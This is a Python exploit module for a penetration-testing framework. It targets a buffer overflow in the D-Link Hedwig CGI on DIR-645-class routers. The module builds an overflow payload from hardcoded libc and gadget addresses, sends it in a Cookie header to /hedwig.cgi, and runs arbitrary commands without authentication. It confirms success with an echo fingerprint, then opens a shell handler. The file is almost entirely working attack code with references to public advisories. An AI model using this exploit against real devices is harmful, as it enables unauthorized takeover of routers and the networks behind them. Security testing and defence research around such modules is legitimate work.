D-Link Hedwig CGI RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link Hedwig CGI RCE"""

import struct

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'D-Link Hedwig CGI RCE',
        'description': 'Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, which leads to remote code execution.',
        'author': ['Austin'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt', 'https://www.exploit-db.com/exploits/27283/'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd):
        cmd = cmd.encode("utf-8")

        libcbase = 0x2aaf8000
        system = 0x000531FF
        calcsystem = 0x000158C8
        callsystem = 0x000159CC
        shellcode = self.random_text(973).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + system)
        shellcode += self.random_text(16).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + callsystem)
        shellcode += self.random_text(12).encode("utf-8")
        shellcode += struct.pack("<I", libcbase + calcsystem)
        shellcode += self.random_text(16).encode("utf-8")
        shellcode += cmd

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": b"uid=" + shellcode + b";"
        }

        data = {
            self.random_text(7): self.random_text(7)
        }

        response = self.http_request(
            method="POST",
            path="/hedwig.cgi",
            headers=headers,
            data=data,
        )

        if response is None:
            return ""

        return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
    def check(self):
        fingerprint = self.random_text(10)
        cmd = "echo {}".format(fingerprint)

        response = self.execute(cmd)

        if fingerprint in response:
            return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}

        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def run(self):
        result = self.check()
        if isinstance(result, dict):
            if not result.get("vulnerable"):
                self.not_vulnerable()
                return False
        elif not result:
            self.not_vulnerable()
            return False
        print_success("Target appears vulnerable")
        return self.handler_execute()